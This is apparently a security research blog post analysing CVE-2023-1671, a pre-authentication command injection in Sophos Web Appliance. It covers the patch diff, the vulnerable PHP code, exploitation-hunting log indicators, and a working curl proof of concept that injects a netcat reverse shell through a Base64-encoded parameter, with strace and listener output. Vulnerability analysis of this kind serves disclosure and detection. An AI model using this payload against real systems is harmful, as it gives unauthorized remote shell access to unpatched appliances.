Go back

Analysis of Pre-Auth RCE in Sophos Web Appliance (CVE-2023-1671)

On April 4, 2023, Sophos published a security advisory1 for their Web Appliance product. The advisory includes information on CVE-2023-1671, a critical vulnerability in versions prior to 4.3.10.4:

A pre-auth command injection vulnerability in the warn-proceed handler allowing execution of arbitrary code was discovered and responsibly disclosed to Sophos by an external security researcher via the Sophos bug bounty program.

Given the initial access nature of the vulnerability, VulnCheck decided to investigate.

BLUF: Mass Exploitation Unlikely

The notes in the advisory detail the caveats quite well:

  • End of Life date for Sophos Web Appliance is on July 20, 2023
  • Sophos recommends that Sophos Web Appliance is protected by a firewall and not accessible via the public Internet
  • There is no action required for Sophos Web Appliance customers, as updates are installed automatically by default

Consequently, exploitation at scale is highly unlikely.

Analyzing the Patch

/opt/ws/bin/ftsblistpack is a Perl script that shells out to /opt/ws/bin/sblistpack, which is another Perl script. The patch changes the system function's invocation such that the shell is no longer invoked:

--- unpatched/opt/ws/bin/ftsblistpack   2022-04-08 20:38:49.000000000 -0500
+++ patched/opt/ws/bin/ftsblistpack 2023-03-24 17:08:26.000000000 -0500
@@ -25,7 +25,7 @@
     open my $flag, ">", "$flag_file_dir/$proceeded_flag_file" or die "Open file [$flag_file_dir/$proceeded_flag_file] failed" and $rc++;
     close($flag);

-    $rc += system("$sblistpack '$uri' '$user' '$filetype' '$filein' '$fileout'");
+    $rc += system($sblistpack, $uri, $user, $filetype, $filein, $fileout);
 }

 exit $rc;

Note the single-quoted arguments to the shell command in the unpatched code. This will be important later. Tracing from sink to source, we can see that /opt/ui/apache/htdocs/controllers/UsrBlocked.php shells out to ftsblistpack with user-supplied parameters:

        if($_GET['action'] == 'continue') {

                    if(strlen(trim($_POST['user'])) > 0)
                        $user = base64_decode($_POST['user_encoded']);
                    else
                        $user = $_POST['client-ip'];
                    if($user == '-') $user = $_POST['client-ip'];
                    $user = escapeshellarg($user);
//snip
                        // use sblistpack to allow access
                        if($_POST['args_reason'] == 'filetypewarn') {
                            $key = $_POST['url'];
                            $packer = '/opt/ws/bin/ftsblistpack';
                            $value = $_POST['filetype'];
                        }
                        else {
                            $key = $_POST['domain'];
                            $packer = '/opt/ws/bin/sblistpack';
                            $catParts = explode("|",$_POST['raw_category_id']);
                            $value = $catParts[0];
                        }

                        $key = escapeshellarg($key);
                        $value = escapeshellarg($value);
                        $this->log->write("DEBUG","cmd = '$packer $key $user $value'");
                        $result = shell_exec("$packer $key $user $value 2>&1");

Note that user-controlled input is still processed through PHP's escapeshellarg function, which will escape and add single quotes to a shell argument. You may be able to see where this is going.

Developing an RCE PoC

Exploitation is relatively straightforward. UsrBlocked.php is routed through /index.php?c=blocked, and the required GET and POST parameters are supplied thereafter. Since the user_encoded parameter is Base64-encoded, it's perfect for our command injection. No escaping or other encoding is necessary! The full curl command to RCE is demonstrated below:

wvu@kharak:~$ curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';nc -e /bin/sh 192.168.56.1 4444 #" | base64)"
#snip
=> Send header, 184 bytes (0xb8)
0000: POST /index.php?c=blocked&action=continue HTTP/1.1
0034: Host: 192.168.56.108
004a: User-Agent: curl/7.88.1
0063: Accept: */*
0070: Content-Length: 120
0085: Content-Type: application/x-www-form-urlencoded
00b6:
=> Send data, 120 bytes (0x78)
0000: args_reason=filetypewarn&url=16625&filetype=5831&user=4525&user_
0040: encoded=JztuYyAtZSAvYmluL3NoIDE5Mi4xNjguNTYuMSA0NDQ0ICM=

How exactly the command injection works is perhaps best illustrated by the following strace output:

[pid 22283] execve("/bin/sh", ["sh", "-c", "/opt/ws/bin/ftsblistpack '16625' ''\\'';nc -e /bin/sh 192.168.56.1 4444 #' '5831' 2>&1"], [/* 16 vars */]) = 0
[pid 22284] execve("/opt/ws/bin/ftsblistpack", ["/opt/ws/bin/ftsblistpack", "16625", "';nc -e /bin/sh 192.168.56.1 4444 #", "5831"], [/* 16 vars */]) = 0
[pid 22285] execve("/bin/sh", ["sh", "-c", "/opt/ws/bin/sblistpack '16625' '';nc -e /bin/sh 192.168.56.1 4444 #' '5831' '/persist/wsa/ftsblist.in' '/persist/wsa/ftsblist.kvlist'"], [/* 16 vars */]) = 0
[pid 22288] execve("/opt/ws/bin/sblistpack", ["/opt/ws/bin/sblistpack", "16625", ""], [/* 16 vars */]) = 0
[pid 22285] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 22299] execve("/bin/nc", ["nc", "-e", "/bin/sh", "192.168.56.1", "4444"], [/* 16 vars */]) = 0
[pid 22299] execve("/bin/sh", ["sh"], [/* 16 vars */]) = 0

When ';nc -e /bin/sh 192.168.56.1 4444 # is injected into ftsblistpack, the input is wrapped in single quotes, resulting in the "sanitized" input '';nc -e /bin/sh 192.168.56.1 4444 #', which will close the opening quote, execute a netcat reverse shell, and comment out the rest of the command line. If you had a listener set up, you'd catch the shell:

wvu@kharak:~$ rlwrap -rS '$ ' -nH /dev/null ncat -lkv 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
$ Ncat: Connection from 192.168.56.108.
Ncat: Connection from 192.168.56.108:56426.
$ id
uid=1000(spiderman) gid=1000(spiderman) groups=1000(spiderman),16(cron),44(tproxyd),45(wdx)
$ uname -a
Linux foo 3.2.89 #1 SMP Tue Mar 29 00:03:09 UTC 2022 i686 GNU/Linux
$

Insert Spider-Man Pointing meme.

Hunting for IOCs

A single line is appended to the /log/ui_access_log file once the HTTP request returns a response:

192.168.56.1 - - [19/Apr/2023:19:46:21 +0000] "POST /index.php?c=blocked&action=continue HTTP/1.1" 302 - "-" "curl/7.88.1"

It isn't much, but it's something to look for when hunting for exploitation. Note that writing the log entry may block on command execution. Additionally, the previous strace output can be used for process detections.

References

Footnotes

  1. https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce